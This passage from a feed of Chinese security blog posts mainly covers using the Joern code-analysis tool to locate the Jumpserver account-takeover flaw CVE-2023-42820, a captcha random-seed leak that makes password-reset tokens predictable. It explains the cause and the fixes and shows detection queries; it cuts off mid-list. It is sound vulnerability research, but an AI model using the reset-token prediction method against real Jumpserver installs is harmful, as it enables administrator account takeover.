data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>cpg.identifier(&#34;username&#34;).map(n=&gt;n._callViaAstIn.filter(_.code.contains(&#34;put&#34;)).dedup.l).l</code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000559" data-ratio="0.6070405239459681" width="1110.454521386092" data-type="png" data-w="2443" src="https://wechat2rss.xlab.app/img-proxy/?k=4e7eb87d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2XKekeech4twZFDdtkV9fqyNSiaY7Oqbc0zRlItKIXnk98C7qrFgsuKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><span style="font-size: 15px;">我们可以<strong>直接向上找到对应的函数方法定义位置</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>cpg.identifier(&#34;username&#34;).map(n=&gt;n._callViaAstIn.filter(_.code.contains(&#34;put&#34;))._astIn._astIn.l).dedup.l</code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000557" data-ratio="0.2742998352553542" width="1103.6363397156902" data-type="png" data-w="2428" src="https://wechat2rss.xlab.app/img-proxy/?k=c09a25a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2uTib2umGxWqdNOcOcqFRgt5WiaPereiaibtYibqvTGWaSicTbFbmt1CtomYw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">我们可以选择几个打开看看</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000555" data-ratio="0.3719512195121951" width="726.7272644042969" data-type="png" data-w="820" src="https://wechat2rss.xlab.app/img-proxy/?k=66cdb0de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2NvwrDiabzoicb8nWGA0LgkkwsjnkfbJSp7VgTGzib3loiaH6MOBNa1mezg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">当然我们发现<strong>不只是有名字为password的变量，还有名为password的常量</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>cpg.literal(&#34;\&#34;password\&#34;&#34;).map(n=&gt;n._callViaAstIn.filter(_.code.contains(&#34;put&#34;))._astIn._astIn.map(m=&gt;List(m.asInstanceOf[io.shiftleft.codepropert<br/>y raph.generated.nodes.Method].fullName)).l).dedup.l</code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000558" data-ratio="0.2970965563808238" width="1346.363607181991" data-type="png" data-w="2962" src="https://wechat2rss.xlab.app/img-proxy/?k=df852f24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f20ptJvtj5pXJP6E6CDd30jdgXozrMbT7x7xtmju7DpuaJX7gWo16QDA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">可以顺着这里找到<strong>写入默认账户的位置</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000560" data-ratio="0.3921901528013582" width="750.7272644042969" data-type="png" data-w="589" src="https://wechat2rss.xlab.app/img-proxy/?k=07a928f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2VpJpngzABS6ibCvGJ5ZUSLmo19B1WzavH1c8niapibfTUD6YGb6r3yDgQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">前面提到的<strong>默认账户修改密码的点</strong>也能搜索到，这里甚至可以直接用<strong>默认账号和密码</strong></span></p><p style="min-height: 24px;"><span style="font-size: 15px;">除此之外<strong>寻找版本号的位置</strong>也可以用joern来完成，直接搜索<strong>调用了version变量的地方</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>cpg.identifier(&#34;version&#34;).map(n=&gt;n._callViaAstIn.filter(_.code.contains(&#34;put&#34;))._astIn._astIn.map(m=&gt;List(m.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName)).l).dedup.l</code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000561" data-ratio="0.3801851217003771" width="1325.909062170786" data-type="png" data-w="2917" src="https://wechat2rss.xlab.app/img-proxy/?k=43f9437f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2UicZ8IT2ic5ibm9o5icBlApBM79kppsDUVCPZcFDc6Yb9VkQyf09ibgbMlw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">直接找到了<strong>对应的getVersion方法</strong></span></p><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>通过joern提供的从属关系图可以快速锁定我们要寻找的大致目标</strong>，其中的问题也相当实际，你<strong>很难在不熟悉代码的情况下利用joern做深入的扫描</strong>，这也是joern类工具的症结之一</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/11/21/joernrw3/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=48ee1344&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484214%26idx%3D1%26sn%3Dbb2eb8ddb9a1ef223612eea0aa393bec%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 21 Nov 2023 18:04:00 +0800</pubDate>
    </item>
    <item>
      <title>Joern In RealWorld (2) - Jumpserver账户劫持漏洞（CVE-2023-42820）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484177&amp;idx=1&amp;sn=1dbebf382d730e52a797eebdbfc7e967</link>
      <description>Jumpserver是一个开源的django架构的堡垒机系统，一个常用的第三方组件库django-simple-captcha有泄露随机数种子的问题，再配合Jumpserver使用了错误的随机数方案导致了最终的漏洞。</description>
      <content:encoded><![CDATA[<p>
原创 <span>LoRexxar</span> <span>2023-10-26 15:50</span> <span style="display: inline-block;">北京</span>
</p>

<p>Jumpserver是一个开源的django架构的堡垒机系统，一个常用的第三方组件库django-simple-captcha有泄露随机数种子的问题，再配合Jumpserver使用了错误的随机数方案导致了最终的漏洞。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c6ca34b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWsBSlNMnc2ORTDGK33NOlibaLnxZiaJbkG4caBgeWvDuibycH6huX5AX2w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><ne-clipboard source="https%3A%2F%2Fwww.yuque.com%2Florexxar%2Fmdko6t%2Feu2q0fmxp9gteddk%23Wn079"></ne-clipboard></p><p style="min-height: 24px;"><span style="font-size: 15px;">Jumpserver是一个开源的django架构的堡垒机系统，由<strong><span style="color: rgb(31, 35, 40);">lawliet &amp; zhiniang peng(@edwardzpeng) with Sangfor</span></strong><span style="color: rgb(31, 35, 40);">在上个月报送了这个漏洞</span></span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a href="https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp" target="_blank">https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;">漏洞原理其实比较神奇，一个常用的第三方组件库</span><span style="font-size: 15px;">django-simple-captcha</span><span style="font-size: 15px;">有<strong>泄露随机数种子</strong>的问题，再配合Jumpserver<strong>使用了错误的随机数方案</strong>导致了最终的漏洞。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">漏洞成因</h1><p style="min-height: 24px;"><span style="font-size: 15px;">这里我们的目标不是分析漏洞，所以这里<strong>简单快速的分析下漏洞的成因</strong>，具体的漏洞分析可以看下面两篇文章</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a href="https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html" target="_blank">https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html</a></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a href="https://www.cnblogs.com/zpchcbd/p/17747778.html" target="_blank">https://www.cnblogs.com/zpchcbd/p/17747778.html</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;">在分析代码级的漏洞成因之前，我想作为计算机相关的工作者，我们应该都有一个共识，就是<strong>计算机中没有真正意义的伪随机</strong>，无论是任何语言的随机数生成函数几乎都是从类似 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">/dev/random</span></code><span style="font-size: 15px;">的地方取值，这里我们不讨论随机数底层的问题。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">在代码的上层，我们几乎可以认为<strong>如果你不知道随机数的种子，那么你就无法对随机数做出预测</strong>。换言之，<strong>如果我们知道随机数的种子，我们就有一定的概率预测随机数</strong>。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;"><strong><span style="color: rgb(0, 0, 0);">django-simple-captcha是Django的相关组件中非常流行的验证码生成库</span></strong><span style="color: rgb(0, 0, 0);">，就像phith0n所说，在国内你几乎没有别的选择，引入的方式超级简单，只要在配置里引入对应库</span></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">INSTALLED_APPS = [<br/>    ...<br/>    &#39;captcha&#39;,</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">然后加入对应的验证码路由</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">urlpatterns += [<br/>	path(&#39;core/auth/captcha/&#39;, include(&#39;captcha.urls&#39;)),<br/>]</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">最后只要在对应的form中加入验证码的字段就行了</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">class CaptchaMixin(forms.Form):<br/>    captcha = CaptchaField(widget=CustomCaptchaTextInput, label=_(&#39;Captcha&#39;))</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">但事实上，<span style="color: rgb(0, 0, 0);">看似简单的django-simple-captcha中实际包含着一个很大的问题。</span></span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span style="color: rgb(0, 0, 0);font-size: 15px;">django-simple-captcha 随机数种子泄露</span></h2><p style="min-height: 24px;"><span style="color: rgb(0, 0, 0);font-size: 15px;">这个问题在0.5.19版本中被修复</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.09379128137384413" width="629.0909118652344" data-type="png" data-w="757" src="https://wechat2rss.xlab.app/img-proxy/?k=c3c9142e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlW700GvkqicwKxxGicV5SLENP1d4K5j5017LUibGLHsnrHRsgn2QAbEvRjw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这里其实涉及到了<span style="color: rgb(0, 0, 0);">django-simple-captcha的一个feature，</span><strong><span style="color: rgb(0, 0, 0);">在设计上其实是允许通过key来指定随机数种子的</span></strong><span style="color: rgb(0, 0, 0);">，这个feature是为了</span><strong><span style="color: rgb(0, 0, 0);">让同一个key可以对应同一个验证码</span></strong><span style="color: rgb(0, 0, 0);">，用来实现验证码的对应。</span></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3349339735894358" width="621.6363525390625" data-type="png" data-w="833" src="https://wechat2rss.xlab.app/img-proxy/?k=2aa87edf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWMxEGOZ0yH95iaPNCYlMkJ397E9EzIVEJo7L9qzBGu7s72ibLASS8EkeA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="color: rgb(0, 0, 0);font-size: 15px;">而这里的key是一个已知的值，就是用于生成验证码的参数</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4060356652949246" width="618.3636169433594" data-type="png" data-w="729" src="https://wechat2rss.xlab.app/img-proxy/?k=f6687d33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWWays4eW35fiaNcckG7OhOu2gQcAN7a8ZwicHwwxSauUC5tZZCDOeiaJ6A%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">换言之，我们可以<strong>得知当前Random的随机数种子</strong>，甚至可以控制这个种子。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">修复的方案也很简单粗暴，只要在<strong>生成结束之后用随机一个新种子</strong>就可以了</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="color: rgb(0, 0, 0);font-size: 15px;"><a href="https://github.com/mbi/django-simple-captcha/commit/dcf1ccda3b12df179eaa5c0ebec95a897e96245f" target="_blank">https://github.com/mbi/django-simple-captcha/commit/dcf1ccda3b12df179eaa5c0ebec95a897e96245f</a></span></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.25502645502645505" width="635.5454406738281" data-type="png" data-w="945" src="https://wechat2rss.xlab.app/img-proxy/?k=53a81860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWl1Kjj04mvXt2mCWd7t30PiazmicwySkDCO9ticCI2OGicPyx1ZHndr9MQw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">那么这对jumpserver又有什么影响呢？</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;text-align: left;"><span style="color: rgb(0, 0, 0);">JumpServer 密码重置漏洞</span></h2><p style="min-height: 24px;"><span style="font-size: 15px;">相比<span style="color: rgb(0, 0, 0);">django-simple-captcha来说，</span><strong><span style="color: rgb(0, 0, 0);">JumpServer更像是一个受害者，虽然存在一些安全隐患但本身并不致命。</span></strong><span style="color: rgb(0, 0, 0);">我们可以猜想一下随机数在一般的系统里常用的场景。</span></span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="color: rgb(0, 0, 0);font-size: 15px;">重置密码</span></p></li><li style="font-size: 15px;"><p><span style="color: rgb(0, 0, 0);font-size: 15px;">激活码、兑换码</span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;">相比激活码的场景来说，<strong>重置密码的常见程度更高</strong>，如果系统内没有刻意对管理员账号做限制，那么如果可以预测重置密码的验证结果，那么就可以获得一个超级管理员权限，而JumpServer的代码中是这样做的。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.1320754716981132" width="632.0908813476562" data-type="png" data-w="1219" src="https://wechat2rss.xlab.app/img-proxy/?k=261c4f73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWjtlfyevhRfOmID46bUA2qXxQ9aaSNgZDu2c85nNTvtMKfvNdvrnuUA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">/apps/authentication/api/password.py</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.7257304429783223" width="634.272705078125" data-type="png" data-w="1061" src="https://wechat2rss.xlab.app/img-proxy/?k=592cf79c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWMJNB3jJqobW0WsYrMYF68nWCJUZpBaQB3yNJe3LMduqfSUVblxEq8Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>重置密码用的code使用了random_string来生成</strong>，然后看看random_string的定义</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6498455200823893" width="624.3636169433594" data-type="png" data-w="971" src="https://wechat2rss.xlab.app/img-proxy/?k=3cd67188&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlW2LNGE3bd0L6PPNodxM8JOC8PZRLgxqtGyS2E4Zllr9HgxOVvwP6iaLQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这个函数在jumpserver中重做过好几次，但大同小异，其实就是<strong>用random.choice从列表中选取随机字符</strong>，最终生成最后的验证码。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">这里我们不去细纠这个利用方式中的细节点，这不是本篇文章的讨论重点，简单来说就是</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>通过</strong><strong><span style="color: rgb(0, 0, 0);">django-simple-captcha泄露当前random的种子</span></strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong><span style="color: rgb(0, 0, 0);">通过种子推测有限次的random结果</span></strong><span style="color: rgb(0, 0, 0);">（其中不仅仅包括密码重置token，还有验证码噪点等）</span></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;">这样我们就通过对随机数的预测实现进一步的漏洞利用，而修复的方案也很简单</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">在最初版本的修复方案中，<strong>Jumpserver在获取密码重置token时重置了当前随机数种子</strong>。这个修复方案也没什么问题。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.26362735381565905" width="608.6363525390625" data-type="png" data-w="1009" src="https://wechat2rss.xlab.app/img-proxy/?k=dd850ceb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWNGIeAYPLGjlfAsO3DLQHB4X0IfuyWSY5GvqkIiaA0PqDbXDDklxjGrw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">在后来的改动中，可能是因为看了P牛的文章，<strong>Jumpserver把random换成了secrets</strong>，相对来说比前一个方案更稳定一些，也是相关文档中推荐的方案</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3898305084745763" width="602.7272644042969" data-type="png" data-w="1062" src="https://wechat2rss.xlab.app/img-proxy/?k=e26be0cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWUgAsSsJrOfxRhDoc0nwNQP0cY2Wtjn4sJSFw9DMMefhcAxnpTaF5yA%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">For Joern</h1><p style="min-height: 24px;"><span style="font-size: 15px;">从源代码的角度来讲，这个漏洞成因可以分成两部分</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>存在泄露随机数种子，或者可以控制随机数种子的位置</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>在未显式重置随机数种子的基础上，引用了random来生成随机数</strong></span></p></li></ul><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">随机数种子泄露</h2><p style="min-height: 24px;"><span style="font-size: 15px;">其实这个漏洞用Joern来处理挺吃力的，首先是<strong>Joern只会处理目标目录下的源码</strong>，而在正常的环境下，python引入的包其实<strong>都在python的目录下</strong>，也就是说理论上<strong>我们无法在分析项目的时候，顺便分析django-simple-captcha。</strong></span></p><p style="min-height: 24px;"><span style="font-size: 15px;">这里我们强行引入下分析django-simple-captcha包</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">&gt; .\joern<br/>     ██╗ ██████╗ ███████╗██████╗ ███╗   ██╗<br/>     ██║██╔═══██╗██╔════╝██╔══██╗████╗  ██║<br/>     ██║██║   ██║█████╗  ██████╔╝██╔██╗ ██║<br/>██   ██║██║   ██║██╔══╝  ██╔══██╗██║╚██╗██║<br/>╚█████╔╝╚██████╔╝███████╗██║  ██║██║ ╚████║<br/> ╚════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝<br/>Version: 2.0.52<br/>Type `help` to begin<br/>joern&gt; importCode(&#34;../captcha/&#34;)</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">先<strong>找到random.seed调用的位置</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4730576441102757" width="1450.909059461484" data-type="png" data-w="1596" src="https://wechat2rss.xlab.app/img-proxy/?k=5a2de6f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlW6BcNOJjxAt7GJSmicMzeND5DhkB4BrmA1kpmpYn4Nic575xVJSibcCPcg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">先检查<strong>调用位置到函数定义位置是否有数据联通</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">def source = cpg.method(&#34;seed&#34;).caller.parameter<br/>def sink = cpg.method(&#34;seed&#34;).callIn<br/>sink.reachableByFlows(source).p</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2180944055944056" width="2079.9999549172153" data-type="png" data-w="2288" src="https://wechat2rss.xlab.app/img-proxy/?k=297c2381&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWHvibunOHvwRIB6bdG1zHy9wjQOz2pJicLetQInrhFtaCPibficV0uAf9Fg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">得到的答案是肯定的，<strong>seed的参数key可控</strong>，接着找对应的路由，<strong>在django里路由一般是用path，而这个组件使用re_path</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">from django.urls import path<br/>from django.urls import re_path</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">我们可以直接快捷的<strong>查看相应的路由函数调用位置</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3436606291706387" width="1907.2726859337051" data-type="png" data-w="2098" src="https://wechat2rss.xlab.app/img-proxy/?k=413ab2f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWX7atmpYW5licic1bpNFFHbqk3BZ7Y8Ut8vHLtyBC0EeNeXRich6svUicVg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">然后通过<strong>对应的调用函数来获取指定的路由</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;"> cpg.method(&#34;re_path&#34;).callIn.filter(_._callViaAstOut.code.contains(&#34;views.captcha_image&#34;)).l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.1857341361741547" width="1962.7272301863056" data-type="png" data-w="2159" src="https://wechat2rss.xlab.app/img-proxy/?k=f8bae962&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWl8qF9wypU38DfUYIPeJr78qSelpvk492KTIJm7ibxACUPf4WLC4ibicXA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">当然可能也不用这么麻烦，理论上来说<strong>直接设置source也是可以连起来的</strong>，只不过<strong>re_path读取key的方式是正则匹配</strong>，所以原装的<strong>reachableByFlows无法处理这种情况</strong>，我们只能强行做一些限制</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">cpg.method(&#34;re_path&#34;).callIn.filter(_._callViaAstOut.code.contains(&#34;views.captcha_image&#34;)).filterNot(_.argument.code.contains(&#34;&lt;key&gt;&#34;)).l</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">由于这条命令可以获取结果，所以代表着<strong>存在可以设置随机数种子的路由和对应的参数</strong>。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">当然，由于漏洞的特殊性不仅仅在于可控，还需要<strong>后续没有进一步重置随机数种子</strong>，所以我们还需要更多的条件来确认这一点。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">其实要做到这点也并不复杂，只需要确认，<strong>在设置seed种子的方法中，没有调用过无参的seed方法即可。</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">cpg.method(&#34;seed&#34;).caller.filter(_._callViaContainsOut.filter(_.name.contains(&#34;seed&#34;)).filter(_.argument.size&lt;2).size==0).l</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">上面这条命令的意思是</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>寻找seed方法的调用方法</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>寻找该方法中调用的方法中，名字为seed，并参数为0</strong>(joern中，参数index为0的位置表示为this，也就是当前方法所属的类)</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>展示调用方法中，满足条件的调用数量为0的方法</strong></span></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.308155885897951" width="2262.727223683981" data-type="png" data-w="2489" src="https://wechat2rss.xlab.app/img-proxy/?k=1d135d44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UQecm6IWBmibGiaibw5quLbFlWH2TqYPm79ZpA0U0ZhNs5q53NeIzb1XuT1oIK5iaZTSj27Jfzs2SLukg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">如果返回结果，则证明<strong>该方法中没有重置新的随机数种子</strong>，当然，到这里并不能完全的验证这个结论，毕竟这里指处理了显式重置，<strong>如果是更严格的数据流分析，应该从重置随机数种子的位置入手</strong>，确认是否有数据流经过，但<strong>这种方案对于joern来说比较困难，这里先不深入到这个级别研究</strong>。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">JumpServer密码重置漏洞</h2><p style="min-height: 24px;"><span style="font-size: 15px;">这里分析JumpServer的时候遇到的<strong>最大的问题是JumpServer的代码量有点儿大</strong>，导入到Joern里有83万个节点:&lt;</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">其实相比Django-simple-captcha的问题来说，<strong>JumpServer的问题在源代码的角度上来说更不像一个问题</strong>，只能算是<strong>一个使用错误的范例，有潜在的风险</strong>。我们需要用joern完成的工作包括两部分</span></p><ul 